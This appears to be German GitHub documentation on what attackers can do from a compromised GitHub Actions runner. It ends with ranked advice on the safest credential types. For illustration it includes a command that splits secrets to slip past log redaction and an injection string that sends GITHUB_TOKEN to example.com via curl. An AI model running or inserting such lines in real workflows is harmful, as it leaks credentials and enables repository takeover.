Kompromittierte Runner

Potenzielle Auswirkungen eines kompromittierten Runners

In diesen Abschnitten werden einige Schritte beschrieben, die Angreifer*innen ausführen können, wenn sie böswillige Befehle in einem GitHub Actions-Runner ausführen können.

Zugreifen auf Geheimnisse

Workflows, die von einem geforkten Repository mit dem pull_request-Ereignis ausgelöst werden, verfügen ausschließlich über Leseberechtigungen und haben keinen Zugriff auf Geheimnisse. Diese Berechtigungen variieren jedoch für verschiedene Ereignisauslöser wie issue_comment, issues, push und pull_request von einem Zweig innerhalb des Repository, bei denen Angreifer*innen versuchen könnten, Repositorygeheimnisse auszuspähen oder die Schreibberechtigung des GITHUB_TOKEN eines Auftrags zu verwenden.

• Wenn das Geheimnis oder Token auf eine Umgebungsvariable festgelegt ist, kann mithilfe von printenv direkt über die Umgebung darauf zugegriffen werden.

• Wird das Geheimnis direkt in einem Ausdruck verwendet, wird das generierte Shellskript auf dem Datenträger gespeichert, und es kann darauf zugegriffen werden.

• Bei benutzerdefinierten Aktionen kann das Risiko abhängig davon variieren, wie ein Programm das Geheimnis nutzt, das aus dem Argument abgerufen wurde:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Wenngleich GitHub Actions ein Scrubbing für Geheimnisse aus dem Arbeitsspeicher ausführt, auf die nicht im Workflow verwiesen wird bzw. die nicht in einer Aktion enthalten sind, können GITHUB_TOKEN und Geheimnisse, auf die verwiesen wird, von Angreifer*innen ausgespäht werden.

Exfiltrieren von Daten aus einem Runner

Angreiferinnen können sämtliche gestohlenen Geheimnisse oder andere Daten aus dem Runner exfiltrieren. Damit die versehentliche Offenlegung von Geheimnissen verhindert wird, führt GitHub Actions eine automatische Bearbeitung von Geheimnissen durch, die im Protokoll ausgegeben werden. Dies ist jedoch kein wirklicher Schutz, da die Geheimnisse absichtlich an das Protokoll gesendet werden können. So können verschleierte Geheimnisse beispielweise mithilfe von echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; exfiltriert werden. Und da Angreiferinnen auch beliebige Befehle ausführen können, können sie Geheimnisse oder andere Repositorydaten mithilfe von HTTP-Anforderungen an einen externen Server senden.

Diebstahl des GITHUB_TOKEN eines Auftrags

Es ist möglich, dass Angreiferinnen das GITHUB_TOKEN eines Auftrags stehlen. Der GitHub Actions-Runner empfängt automatisch ein generiertes GITHUB_TOKEN mit Berechtigungen, die auf das Repository beschränkt sind, das den Workflow enthält. Nachdem der Auftrag abgeschlossen wurde, verliert das Token seine Gültigkeit. Das abgelaufene Token bietet keinen Nutzen für Angreiferinnen. Zur Umgehung dieser Einschränkung kann der Angriff automatisiert und in Sekundenbruchteilen ausgeführt werden, indem ein vom Angreifer oder von der Angreiferin gesteuerter Server mit dem Token aufgerufen wird. Beispiel: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Ändern der Repositoryinhalte

Der Angreiferserver kann die GitHub-API verwenden, um Repositoryinhalte zu ändern. Dies umfasst auch Releases, wenn die zugewiesenen Berechtigungen von GITHUB_TOKEN nicht eingeschränkt sind.

Repositoryübergreifender Zugriff

Die Berechtigungen von GitHub Actions sind bewusst für nur jeweils ein Repository ausgelegt. Mit GITHUB_TOKEN wird die gleiche Zugriffsstufe erteilt wie die von Benutzerinnen mit Schreibzugriff. Denn alle Benutzerinnen mit Schreibzugriff können auf dieses Token zugreifen, indem du eine Workflowdatei erstellst oder änderst und dabei die Berechtigungen von GITHUB_TOKEN bei Bedarf erhöhst. Benutzerinnen verfügen über spezifische Berechtigungen für die einzelnen Repositorys. Wenn das GITHUB_TOKEN für ein Repository Zugriff auf ein anderes Repository ermöglichen würde, könnte sich dies bei nicht sorgfältiger Implementierung daher auf das GitHub-Berechtigungsmodell auswirken. Gleichermaßen ist Vorsicht geboten, wenn GitHub-Authentifizierungstoken zu einem Workflow hinzugefügt werden. Denn auch dies kann sich auf das GitHub-Berechtigungsmodell auswirken, wenn Projektmitarbeiterinnen unbeabsichtigterweise umfangreiche Zugriffsberechtigungen zugewiesen werden.

Wenn sich deine Organisation im Besitz eines Unternehmenskontos befindet, kannst du GitHub Actions gemeinsam nutzen und wiederverwenden, indem du sie in internen Repositorys speicherst. Weitere Informationen finden Sie unter Freigeben von Aktionen und Workflows in deinem Unternehmen.

Du kannst andere privilegierte repositoryübergreifende Interaktionen ausführen, indem du auf ein GitHub-Authentifizierungstoken oder einen SSH-Schlüssel als Geheimnis innerhalb des Workflows verweist. Da viele Authentifizierungstokentypen keinen differenzierten Zugriff auf bestimmte Ressourcen ermöglichen, besteht ein erhebliches Risiko durch die Verwendung des falschen Tokentyps, mit dem gegebenenfalls wesentlich umfangreichere Zugriffsberechtigungen zugewiesen werden als beabsichtigt.

In dieser Liste sind die empfohlenen Vorgehensweisen für den Zugriff auf Repositorydaten innerhalb eines Workflows in absteigender Präferenzreihenfolge aufgeführt:

1. Die GITHUB_TOKEN
   • Dieses Token ist bewusst auf das eine Repository beschränkt, das den Workflow aufgerufen hat, und kann dieselbe Zugriffsstufe wie Benutzer*innen mit Schreibzugriff auf das Repository aufweisen. Das Token wird erstellt, bevor die einzelnen Aufträge beginnen, und läuft ab, wenn ein Auftrag abgeschlossen ist. Weitere Informationen finden Sie unter Verwenden von GITHUB_TOKEN für die Authentifizierung in Workflows.
   • GITHUB_TOKEN sollte wann immer möglich verwendet werden.
2. Bereitstellungsschlüssel für Repositorys
   • Bereitstellungsschlüssel sind einer der einzigen Anmeldeinformationstypen, die Lese- oder Schreibzugriff auf ein einzelnes Repository gewähren. Diese Schlüssel können für die Interaktion mit einem anderen Repository innerhalb eines Workflows verwendet werden. Weitere Informationen finden Sie unter Verwalten von Bereitstellungsschlüsseln.
   • Beachte, dass Bereitstellungsschlüssel nur mit Git im Repository geklont bzw. an das Repository gepusht und nicht für die Interaktion mit der REST- oder GraphQL-API verwendet werden können. Aus diesem Grund eignen sie sich möglicherweise nicht für deine Anforderungen.
3. GitHub App-Token
   • GitHub Apps kann in ausgewählten Repositorys installiert werden, und es können sogar differenzierte Berechtigungen für die Ressourcen innerhalb dieser Repositorys zugewiesen werden. Du kannst eine interne GitHub App für deine Organisation erstellen, diese in den Repositorys installieren, auf die du in deinem Workflow zugreifen musst, und sich als die Installation innerhalb deines Workflows authentifizieren, um auf diese Repositorys zuzugreifen. Weitere Informationen finden Sie unter Authentifizierte API-Anforderungen mit einer GitHub-App in einem GitHub Actions-Workflow.
4. personal access token
   • Du solltest niemals ein personal access token (classic) verwenden. Diese Token gewähren Zugriff auf alle Repositorys innerhalb der Organisationen, auf die du Zugriff hast, sowie auf alle persönlichen Repositorys in deinem persönlichen Konto. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet.
   • Wenn du ein personal access token verwendest, solltest du niemals ein personal access token deines eigenen Kontos verwenden. Wenn du eine Organisation zu einem späteren Zeitpunkt verlässt, treten bei Workflows mit diesem Token umgehend Probleme auf, und das Debuggen kann schwierig sein. Stattdessen solltest du ein fine-grained personal access token für ein neues Kontos verwenden, das deiner Organisation gehört und dem nur Zugriff auf die Repositorys erteilt wird, die für diesen Workflow benötigt werden. Beachte, dass dieser Ansatz nicht skalierbar ist und stattdessen Alternativen wie Bereitstellungsschlüssel bevorzugt werden sollten.
5. SSH-Schlüssel für ein persönliches Konto
   • Workflows dürfen die SSH-Schlüssel niemals für ein persönliches Konto verwenden. Diese sind mit personal access tokens (classic) vergleichbar und gewähren Lese-/Schreibberechtigungen für alle deine persönlichen Repositorys sowie alle Repositorys, auf die du über die Organisationsmitgliedschaft zugreifen kannst. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet. Wenn du beabsichtigst, einen SSH-Schlüssel zu verwenden, weil du lediglich Klon- oder Pushvorgänge für ein Repository durchführst und nicht mit öffentlichen APIs interagieren müssen, solltest du stattdessen einzelne Bereitstellungsschlüssel verwenden.

Nächste Schritte

Bewährte Methoden für die Sicherheit mit GitHub Actions findest du unter Referenz zur sicheren Verwendung.